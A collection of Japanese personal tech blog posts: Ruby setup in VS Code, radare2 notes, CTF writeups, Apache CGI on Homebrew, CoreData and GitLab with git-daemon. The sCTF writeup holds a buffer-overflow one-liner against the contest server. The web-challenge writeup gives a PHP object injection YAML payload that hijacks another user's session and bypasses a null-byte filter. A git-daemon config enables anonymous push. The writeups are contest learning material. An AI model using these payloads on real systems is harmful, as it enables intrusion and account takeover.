Visual Studio Code で Ruby を何とかして書けるようにする
Visual Studio Code を触り始めたのでメモ
https://www.visualstudio.com/ja-jp/products/code-vs.aspx
extension をインストール
デフォルトでは Ruby の設定が入っていないので extension をインストールします。
https://marketplace.visualstudio.com/items?itemName=rebornix.Ruby
ext install ruby
Chocolatey で Ruby を入手
最近流行りの Windows パッケージ管理ツール Chocolatey がインストールされていることを前提に進めます。
Chocolatey で Ruby 本体と後で必要になる DevKit を入れます。
> cinst ruby ruby2.devkit
DevKit の設定
Visual Studio Code で Ruby の利用設定をする時に ruby-debug-ide という gem パッケージが必要となるのですが、このパッケージはネイティブコードを含むのでインストールするためにはビルドが必要となります。
そのビルドを Windows 上でできるようにするためのツールが DevKit です。
Ruby 本体と DevKit は C:\tools にインストールされます。
この本体と DevKit を連携させるための設定を行わないと、 ruby-debug-ide を gem install したときにビルドが失敗するのでコマンドプロンプトで設定を行います。
> cd C:\tools\DevKit2 > ruby dk.rb init
init すると config.yml が生成されるのでメモ帳で編集します。
> notepad.exe config.yml
内容に以下の行を追加し、Ruby 本体がどこにあるのかを config に指定してください。
- C:/tools/ruby23
config.yml の編集が終わったら連携設定をします。エラーが出なければ設定完了です。
> ruby dk.rb install
gem パッケージのインストール
> gem install ruby-debug-ide debase
ひとまずこれで動くはず。
2016/06/12 追記
設定してみたけれども autocomplete がまだ実装されておらず、まだまだ発展途上といったところ。
DevKit の設定を入れて頑張ってにも関わらず、rdebug がサーバーが LISTEN できず動かなくて泣きそう。
.vscode/settings.json に記述するとコードの保存時に lint が働いて波線で警告してくれる。
{ "ruby.lint": { "reek": false, "rubocop": true, "ruby": true, //Runs ruby -wc "fasterer": false, "debride": false, "ruby-lint": true } }
パッケージは別途自分で入れておく。
> gem install rubocop ruby-lint
radare2 メモ
基本
https://radare.gitbooks.io/radare2book/content/introduction/basic_usage.html
radare2 をいじるにはアドレスへの seek, バッファの print そして alternate(write, append) の3つのコマンドが大切
seek コマンド
コマンドは s
引数としていくつかの式を指定することができる(ex: 10, +0x25, [0x100+ptr_table])
ブロックをベースにしたファイルをシークする場合は、ブロックサイズを b コマンドに指定して利用する
アドレスを前にシークする場合は >, 後ろにシークする場合は < を指定する
VA モード
radare2 が実行ファイルを開くと VA モードとしてファイルをオープンし、実行ファイルの各セクションを仮想アドレスにマッピングする
この VA モードではシークに仮想アドレスを利用し、radare2 開始時のアドレスを実行ファイルのエントリーポイントにセットする
-n オプションを指定すると non-VA モードとしてファイルオープンをする
non-VA モードではファイルの先頭からのオフセットを利用してシークを行う
print コマンド
コマンドは p
print コマンドにはいくつかのサブモードが存在し、そのサブモードは p コマンドの2番目の文字で指定することができる
例えば、 px とすると16進数で表示することができ、 pd であれば逆アセンブルを表示する
ファイル書き込み
-w オプションを指定すると書き込み可能でファイルオープンする
w コマンドで文字列や16進数のセット(x サブコマンド)、アセンブリのオペコード(a サブコマンド)をファイルへ書き込むことができる
w hello world ; 文字列 wx 90 90 90 90 ; 16進数のセット wa jmp 0x8048140 ; オペコード wf inline.bin ; ファイルコンテンツ
ヘルプメッセージ
コマンドへ ? を付加すると、そのコマンドのヘルプメッセージが表示される(ex: p?)
ビジュアルモード
V を押すとビジュアルモードになる
vim のように HJKL で移動、 q で終了
c でカーソルモードに移行する
複数バイトの範囲指定をする場合は Shift キーを押しながら移動して範囲を指定する
バイト列の上書きをする場合は i でモード切替をする
Tab キーを利用することで、バイト列と文字列のカラム間移動ができる
q で通常のビジュアルモードへ戻る
コマンドフォーマット
https://radare.gitbooks.io/radare2book/content/introduction/command_format.html
[.][times][cmd][~grep][@[@iter]addr!size][|>pipe] ;
コマンドは「大文字小文字を区別する1文字」で表される
繰り返し
コマンドを繰り返す場合は、コマンドの直前に繰り返す回数分の数値を記入する
シェルコンテキスト
! をコマンドの直前に記入するとシェルコンテキストからコマンドを実行する
いまいち使い道わからず、!ls とかやると ls コマンドが動いたりする
例
ds ; デバッガの step コマンド px 200 @ esp ; esp から20バイトを表示 pc > file.c ; ダンプバッファを C のバイト列に変換、file.c に保存 wx 90 @@ sym.* ; nop 命令をすべてのシンボルに書き込み pd 2000 | grep eax ; オペコードを grep eax して絞り込み表示 px 20 ; pd 3 ; px 40 ; 複数コマンドを1行で実行
一時的なオフセット指定
@ を利用すると一時的にシーク位置を移動しコマンド実行を行う
例えば pd 5 @ 0x100000fce とするとシーク位置を一時的に 0x100000fce へ移動、逆アセンブルを表示し、完了時にシーク位置をコマンド呼び出し時の位置へ戻す
デバッガの基本
https://radare.gitbooks.io/radare2book/content/introduction/basic_debugger_session.html
プログラムのデバッグには -d オプションを radare 実行時に付加する
プログラムのアタッチはアタッチ先のプロセス ID を指定する
$ r2 -d /bin/ls
初回ブレークポイント
デバッガは動作に必要なライブラリを動的リンクをする前に実行をストップする
この振る舞いは ~/.radare2rc へ設定を追加することによって変更することができる
例えば e dbg.bep=main の設定を追加すると、 main 関数の直前まで実行してデバッガが起動する
デバッガでよく使うコマンド
ds 3 ; 3回ステップ実行 db 0x8048920 ; ブレークポイントの設定 db -0x8048920 ; ブレークポイントの削除 dc ; 実行を再開(continue) dcs ; syscall が呼ばれるまで実行を再開 dd ; ファイルディスクリプタの操作 dm ; プロセスマップの表示 dmp A S rwx ; ページを A, サイズをS, 権限 rwx に変更 dr eax=33 ; レジスタの値を変更、ここでは eax を 33 に変更
ビジュアルモード
V でビジュアルモードでデバッグができる
sCTF 2016 Q1 Writeup
sCTFに参加しました。
チームyharimaとして参加し、結果は21位でした。
自分の担当分Writeupをつらつらと書いていきます。
When in Rome
rotするだけ、漢は黙ってtrコマンド。
$ tr a-z j-za-i Nvctfdv kf jTKW! Nv yfgv pfl veafp kyv gifscvdj nv yrmv nizkkve wfi kyv wzijk hlrikvi fw 2016. Yviv zj pfli wzijk fw (yfgvwlccp) drep wcrxj! jtkw{ny3e_1e_tkw_u0_r5_tkw3i5_u0} Nelcome to sTKW! Ne hope you enjoy the problems we have written for the first quarter of 2016. Yere is your first of (hopefully) many flags! sctf{wh3n_1n_ctf_d0_a5_ctf3r5_d0}
rev1
rip書き換えて終わり。
$ gdb rev1 (gdb) disass main Dump of assembler code for function main: 0x0000000000400656 <+0>: push rbp 0x0000000000400657 <+1>: mov rbp,rsp 0x000000000040065a <+4>: sub rsp,0x10 0x000000000040065e <+8>: mov DWORD PTR [rbp-0x4],0x0 0x0000000000400665 <+15>: movabs rax,0x2121217230783468 0x000000000040066f <+25>: mov QWORD PTR [rbp-0x10],rax 0x0000000000400673 <+29>: mov BYTE PTR [rbp-0x8],0x0 0x0000000000400677 <+33>: mov edi,0x400744 0x000000000040067c <+38>: call 0x400530 <puts@plt> 0x0000000000400681 <+43>: lea rax,[rbp-0x4] 0x0000000000400685 <+47>: mov rsi,rax 0x0000000000400688 <+50>: mov edi,0x400760 0x000000000040068d <+55>: mov eax,0x0 0x0000000000400692 <+60>: call 0x400550 <scanf@plt> 0x0000000000400697 <+65>: mov eax,DWORD PTR [rbp-0x4] 0x000000000040069a <+68>: cmp eax,0x5b74 0x000000000040069f <+73>: jne 0x4006b7 <main+97> 0x00000000004006a1 <+75>: lea rax,[rbp-0x10] 0x00000000004006a5 <+79>: mov rsi,rax 0x00000000004006a8 <+82>: mov edi,0x400763 0x00000000004006ad <+87>: mov eax,0x0 0x00000000004006b2 <+92>: call 0x400510 <printf@plt> 0x00000000004006b7 <+97>: mov eax,0x0 ---Type <return> to continue, or q <return> to quit--- 0x00000000004006bc <+102>: leave 0x00000000004006bd <+103>: ret End of assembler dump. (gdb) b *0x000000000040069a Breakpoint 1 at 0x40069a (gdb) r Starting program: /home/vagrant/sctf2016/rev1 What is the magic password? fe Breakpoint 1, 0x000000000040069a in main () (gdb) set $rip = 0x00000000004006a1 (gdb) c Continuing. Correct! Your flag is: h4x0r!!![Inferior 1 (process 5749) exited normally]
rev2
バイナリを読むと、int型数値を読み込んでcmp命令で比較する部分がある。
cmp命令が比較している値(0x30dda83)をint型数値に直し、それを入れるとflagが出てくる。
(gdb) disass main Dump of assembler code for function main: 0x0000000000400656 <+0>: push rbp 0x0000000000400657 <+1>: mov rbp,rsp 0x000000000040065a <+4>: sub rsp,0x10 0x000000000040065e <+8>: mov DWORD PTR [rbp-0x8],0x0 0x0000000000400665 <+15>: mov DWORD PTR [rbp-0x4],0x7d15d 0x000000000040066c <+22>: mov edi,0x4007a4 0x0000000000400671 <+27>: call 0x400530 <puts@plt> 0x0000000000400676 <+32>: lea rax,[rbp-0x8] 0x000000000040067a <+36>: mov rsi,rax 0x000000000040067d <+39>: mov edi,0x4007c0 0x0000000000400682 <+44>: mov eax,0x0 0x0000000000400687 <+49>: call 0x400550 <scanf@plt> 0x000000000040068c <+54>: mov eax,DWORD PTR [rbp-0x8] 0x000000000040068f <+57>: cmp eax,0x30dda83 ... (gdb) x/s 0x4007c0 0x4007c0: "%d" (gdb) p 0x30dda83 $1 = 51239555 (gdb) quit $ echo 51239555 | ./rev2 What is the magic password? Correct! Your flag is: 51196695
Banana Boy
画像が1枚DLできるようになっており、それをバイナリエディタで開くと
ファイルの後半部分にもう一つ別の画像が連結されているので、それをコピペして抽出。
抽出した画像にflag発見。
Lengthy Lingo
数値の羅列とその数値を途中 , で区切られたファイルが渡される。, で区切られた数字列の文字数を1文字分のバイトとするとflagが出てくる。利用したコードは以下。
# -*- encoding: utf-8 -*- r = [] with open('encrypted.dat') as f: for line in f.readlines(): for v in line.strip().split(', '): r.append(chr(len(v))) print ''.join(r)
pwn1
バイナリを見ると replace 関数で入力文字列の I を you にする置換処理がある。
ここでbuffer overflowを引き起こすので文字列をうまく調節し、return addressを狙う。
関数の戻り先は get_flag 関数がバイナリ内に存在したので、そのアドレス(0x08048f0d)にreturn addressを書き換える。
$ python -c "print 'IIIIIIIIIIIIIIIIIIIAAAAAAA' + '\x0d\x8f\x04\x08' * 10" | nc problems2.2016q1.sctf.io 1337 sctf{strcpy_was_a_mistake}
Musical Penguin
ファイルはtuxguitarと呼ばれるギター演奏ソフトの楽譜。
1楽節に5つの音符が含まれる、tab符に1, 2と書かれている。
じーっとながめるとモールス信号の数値の形に見えてくるので、とにかく書きおこす。1を長音、2を単音。
最初、1を単音、2を長音していたときもあった。。。
書きおこすと数値が出てくるが、数値には7〜9までの数字が出てこないので7進数と仮定してasciiにするとflagが出てくる。
import sys import struct target = '223 201 224 204 234 100 164 225 104 102 202 164 224 66 164 214 103 212 102 164 214 225 104 100 201 164 230 100 224 206 164 224 206 100 104 164 103 213 213 164 224 206 102 164 224 100 214 102 236' tlist = [int(x, 7) for x in target.split(' ')] r = struct.pack('B' * len(tlist), *tlist) with open('b.bin', 'wb') as f: f.write(r)
場阿忍愚CTF Writeup
場阿忍愚CTFに参加しました。
結果は77位、次回はもっと時間作って頑張りたいです。
参加した記録を残す意味も込めて、超文章転送術(web問)400点問題の「Yamatonote」のWriteupを書いていきます。
超文章転送術 400 Yamatonote
どんな問題?
ノートを保存できるYamatonoteというサイトから、yamatoユーザーのノートを盗み見る問題。
特徴としてはそのノートをyaml形式でアップロードして保存できるところ。
方針
データベースのスキーマ情報を見ると、ノートを格納しているNoteテーブルは主キーが「ユーザー名」になっていてこの部分がyamatoになっているものを参照できれば盗み見れるんだろうなーと方針を立てる。
またソースコードを見ると、Noteテーブルの参照をSessionクラスの「userId変数」を利用してユーザーに対するノートを取得していることがわかった。
SessionクラスはデータベースのSessionテーブルを管理するクラス。SessionテーブルはPHPのセッションIDを主キー、値はSessionクラスの_param変数をserializeした値が格納される。
_param変数はユーザー情報の配列が格納されていて、ソースコード中では「userId」をキーとした値のみしか格納されない。
つまり、Sessionクラスで保持しているuserIdをyamatoにするような攻撃ができれば、現在のセッション情報を利用してうまい具合にノートが引き出せそう。
Yamlのライブラリを調査
怪しそうなyamlアップロード機能に着目して攻撃方法を考えた。
yamlのライブラリとしてpeclのyamlライブラリが利用されていたので、そのドキュメントを熟読。
すると、yaml_parse関数のドキュメントの下部に以下のような注意書きを発見する。
警告
!php/object タグを使ったノードの unserialize() を有効にしている場合に、 ユーザーからの信頼できない入力を yaml_parse() で処理するのは危険です。 この挙動を無効にするには、ini 設定の yaml.decode_php を利用します。
!php/objectタグはyamlライブラリ独自のタグで、このタグが見つかった部分の要素を「PHPオブジェクトのserialize文字列」と認識し、その部分をunserializeしてオブジェクトに変換しその要素の値とする。
PHP Object Injection攻撃
このunserializeが勝手に行われるとなぜ危険なのかを調べると「PHP Object Injection」という攻撃方法があるからだとわかった。
PHP Object Injectionは「ユーザーからの入力を使ってunserializeを行ってインスタンスを作成した場合、そのインスタンスが生成される/破棄するときに実行される特殊関数__wakeup/__destructなどに動作に関わる重要な処理が記載されていた時に任意の攻撃が可能となる」という攻撃方法。
つまり「yaml内にPHPオブジェクトを生成する記述」があると、yamlライブラリの内部でunserializeされるのでPHP Object Injection攻撃が成功する可能性がある。
__wakeupとか__destructとかそんな気前よくあったかと探してみるとSessionクラスに__destruct、Dbクラスに__wakeupをそれぞれ発見。いよいよ怪しい。
SessionクラスとDbクラス
まずSessionクラスの__destructでは「データベースへセッション情報の書き込み」が行なわれている。
ということは、以下の流れで目的のNoteが取得できそう。
- yamlの要素にSessionクラスのserialize文字列を指定、yaml_parse関数実行時に文字列がunserializeされSessionクラスのインスタンスが生成される
- 動作が終わったと同時にインスタンスのデストラクタが走る
- 事前に_param変数を調整しyamatoユーザーの情報を指定しておいて、その情報でSessionテーブルに書き込む
加えてセッション情報の書き込みには、Sessionクラスのdb変数にDbクラスのインスタンスも必要なので、これもserializeしておく。
Dbクラスの__wakeupには「データベースへの接続処理」があるので、unserializeされた時点でデータベースに接続済みの有効なインスタンスが生成される。これを忘れるとセッション情報の書き込みがうまくいかないので注意。
そんなこんなで以下のようなコードを書いてserialize文字列を生成した。セッションIDはクッキーから抜き出しておく。
<?php class Db {}; class Session { private $_param = array("userId" => "yamato"); public $id = "eq8l7n13m51pj85934r59nbqg2"; public $db = null; }; $session = new Session; $session.db = new Db; $param = array('session' => $session); print yaml_emit($param);
session: !php/object "O:7:\"Session\":3:{s:15:\"\0Session\0_param\";a:1:{s:6:\"userId\";s:6:\"yamato\";}s:2:\"id\";s:26:\"eq8l7n13m51pj85934r59nbqg2\";s:2:\"db\";O:2:\"Db\":0:{}}"
最後の一声
生成したserialize文字列を利用しyamlをアップロードしたが、なぜかserialize文字列がそのままNoteの内容として保存されてしまってうまくいかない。
ソースコードをさらに追うと、yaml文字列の入力処理で「null文字を除去」している部分を発見。確かにserialize文字列にはnull文字が含まれていた。
そのためunserializeに失敗し、null文字が除去された状態のserialize文字列が保存されてしまっていた。
ただ、null文字の除去に利用されている正規表現が「Unicodeのnull文字(\u0000)」までは対応していなかったため、serialize文字列のnull文字をUnicode形式に置換。
置換後もう一度アップロードすると、null文字は除去されずにunserializeが成功したようで無事セッション情報が書き替わりyamatoユーザーのNoteが表示されてflagをゲット。
最後に
おそらく自分で筋道立てて正解できたのは初めてだったので、flagが出力されたときは結構うれしかったですw
他の問題はほとんど手をつけられなかったのが心残りですが、常設型のCTFサイトとかで練習しながらCTF力を上げていきたいと思います。
HomebrewでApache2.4(httpd2.4)
インストール
まずはおもむろに Homebrew から Apache 2.4 を入れましょう。
その際、--with-brewed-apr オプションも忘れずに。
brew install httpd24 --with-brewed-apr
無事インストールが終わったら、Apache 用の LaunchAgent plist ファイルをシンボリックリンクします。
ln -sfv /usr/local/opt/httpd24/*.plist ~/Library/LaunchAgents
以上の作業が終わったらインストール完了です。
Apache の設定ファイルは /usr/local/etc/apache2/2.4/httpd.conf に配置されます。
また htdocs は /usr/local/var/www/htdocs/ にあります。ここに HTML ファイルなどを置いていきましょう。
設定の反映
また、httpd.conf などを編集し、Apache に設定を反映させるには launchctl コマンドを利用します。
# Apache を停止 launchctl unload ~/Library/LaunchAgents/homebrew.mxcl.httpd24.plist # Apache を開始 launchctl load ~/Library/LaunchAgents/homebrew.mxcl.httpd24.plist
加えて、apachectl コマンドを利用して操作することも出来ます。
操作方法については省略します。
mod_cgi を有効にし、スクリプトを動作させる
HTML ファイルだけでは寂しいので CGI スクリプトも動作するようにしましょう。
ここでは .py ファイル (Python) を動かすような設定を行います。
設定は httpd.conf を編集して行います。
157行目付近をコメントアウト
LoadModule cgi_module libexec/mod_cgi.so
248行目付近を以下に変更
# Options Indexes FollowSymLinks Options FollowSymLinks ExecCGI
407行目付近を以下に変更
# AddHandler cgi-script .cgi AddHandler cgi-script .cgi .py
編集が終わったら Apache を再起動し、設定を反映
launchctl unload ~/Library/LaunchAgents/homebrew.mxcl.httpd24.plist launchctl load ~/Library/LaunchAgents/homebrew.mxcl.httpd24.plist
設定が終わったら、htdocs フォルダに以下のような Python スクリプトを 「test.py」 という名前で保存しましょう。
#!/usr/bin/python print 'Content-type: text/plain' print '' print 'it works!'
そして、ブラウザ経由で
http://localhost:8080/test.py
へアクセスするとスクリプトが実行されます。
コンソールアプリでCoreDataを使う
はじめに
最近何を思ったかObjective-Cを勉強しています。
初めはとっても取っ付きづらい言語だと思いましたが、
今ではそこまで拒絶反応を示すこと無く取り組めています。
何事も慣れだと思いましたねぇ^^;
さてこの記事、とてもニッチなタイトルですが、Objective-C、
というよりもiOSやMac OSでデータ管理をするのに便利なCoreDataという技術を
「どうすればコンソールアプリケーションで利用できるか」をご紹介します。
CoreDataで検索をするとiOS、Mac OSプログラミングの記事はたくさん出てくるのですが、
コンソールアプリケーションからCoreDataを叩くものは無かったように思えるので
自分で利用するメモがてら、つらつらと書いていこうと思います。
CoreDataを利用する
早速ネタバレしてしまうと、Xcodeの新規作成ウィザードでCoreDataを利用する
コンソールアプリケーションのテンプレートが作成できます。何事も解決ですねw
プロジェクトの新規作成画面で、
[OS X] -> [Application] -> [Command Line Tool] を選び Next をクリックし、
いつものプロジェクトの名前を入れる画面の下部にある Type のリストボックスから
[Core Data]を選択してプロジェクトを作成するとあっという間にできます。んー。
せっかくなので
これで終わりなのもしゃくなので、CoreDataを利用するために必要な
NSManagedObjectContextを管理するクラスを作成し、コンテキストを取得できるようにしましょう。
以下のようなクラスを作ると、開発がスムーズになる、かもしれません。
CoreDataManager.h
#import <Foundation/Foundation.h> #import <CoreData/CoreData.h> @interface CoreDataManager : NSObject + (NSManagedObjectContext *)getManagedObjectContext; + (NSManagedObjectModel *) getManagedObjectModel; @end
CoreDataManager.m
#import "CoreDataManager.h" // 静的変数でコンテキストを保持 static NSManagedObjectContext *managedObjectContext = nil; static NSManagedObjectModel *managedObjectModel = nil; @implementation CoreDataManager + (NSManagedObjectContext *)getManagedObjectContext { if(managedObjectContext != nil) { return managedObjectContext; } @autoreleasepool { managedObjectContext = [[NSManagedObjectContext alloc] init]; NSPersistentStoreCoordinator *coordinator = [[NSPersistentStoreCoordinator alloc] initWithManagedObjectModel: [self getManagedObjectModel]]; [managedObjectContext setPersistentStoreCoordinator: coordinator]; NSString *STORE_TYPE = NSSQLiteStoreType; NSString *path = [[NSProcessInfo processInfo] arguments][0]; path = [path stringByDeletingPathExtension]; NSURL *url = [NSURL fileURLWithPath: [path stringByAppendingPathExtension: @"sqlite"]]; NSError *error; NSPersistentStore *newStore = [coordinator addPersistentStoreWithType: STORE_TYPE configuration: nil URL: url options: nil error: &error]; if(newStore == nil) { NSLog(@"Store Configuration Failure"); return NO; } } return managedObjectContext; } + (NSManagedObjectModel *)getManagedObjectModel { if(managedObjectModel != nil) { return managedObjectModel; } // ApplicationName はプロジェクトに合わせて NSString *path = @"ApplicationName"; path = [path stringByDeletingPathExtension]; NSURL *modelUrl = [NSURL fileURLWithPath: [path stringByAppendingPathExtension: @"momd"]]; managedObjectModel = [[NSManagedObjectModel alloc] initWithContentsOfURL: modelUrl]; return managedObjectModel; } @end
ほとんどテンプレート通りで申し訳ないです…。
CoreDataManagerクラスのクラスメソッドから、初期化されたコンテキストを
取得することによって様々なクラスからCoreDataの機能を利用することが可能になります。
あとはプロジェクトにData Model(ApplicationName.xcdatamodeld)を追加して
モデルを設計するといい感じです。
GitLabとgit-daemonを連携させる
2013/07/03追記
最新版のGitLabではこの記事に載っている方法は使えません。
こんにちは。あっという間に春が終わり、夏に入ろうかという今日この頃。
GWはだらだらと過ごそうと思います笑
今回はGitLab(The first single application for the entire DevOps lifecycle - GitLab | GitLab)のお話です。
研究室にこのGitLabサーバーを建て、運用してますがなかなか便利です。
ただ、Gitプロトコルを使って気軽にクローンできないのは何かと不便な場面が出てきたので、GitLabのソースをちょこっと改造してgit-daemonと連携するようにしました。
忘れないようにそれのメモ。あ、改造して不具合が出ても自己責任でお願いします。
手順
GitLabサービスを停止
$ sudo service gitlab stop
git-daemonをインストール
$ sudo apt-get install git-daemon-run
git-daemon-runの設定
/etc/sv/git-daemon/run を編集します。
gitoliteのレポジトリは /home/git/repositories にあるとします。
/etc/sv/git-daemon/run
#!/bin/sh exec 2>&1 echo 'git-daemon starting.' exec chpst -ugitdaemon:git \ "$(git --exec-path)"/git-daemon --verbose --reuseaddr \ --base-path=/home/git/repositories --export-all --enable=receive-pack /home/git/repositories
になるようにしてください。この辺はあちこちのサイトに書いてあることと一緒ですね。
GitLabの改造
改造といっても一行加えるだけです。
GitLabを設置したディレクトリ(公式通りに設置したのであれば /home/gitlab/gitlab/)の
lib/gitlab/backend/gitolite_config.rb をいじります。
lib/gitlab/backend/gitolite_config.rb 197行目付近
... # Add write permissions repo.add_permission("RW+", "", name_writers) unless name_writers.blank? repo.add_permission("RW+", "", name_masters) unless name_masters.blank? # !!!追加!!! repo.add_permission("R", "", "daemon") repo ...
GitLabサービスを開始
sudo service gitlab start
以上で手順は終了です。
確認
これでこれから新たに作成されるレポジトリのすべてが、Gitデーモンによって公開されるようになりました。
すでにGitLabに登録されているレポジトリの場合、Administrator をレポジトリに登録、削除などしてレポジトリに変化を起こせば、デーモンが適用されたレポジトリに変更されます。
こんな感じのコマンドでクローン出来れば万々歳です。
git clone git://localhost/someproject.git
まぁ結局何をしたかというとGitolite の config に R = daemon を追加しただけです。直接 gitolite-admin の設定を変更しても良かったのですが、いちいち変更するのも面倒だったので、GitLabに少しだけ手を加えて楽をした、という具合ですね。
不要だとは思いますが、Gitwebも同様にして出来ます。気になる人はやってみてください。
では。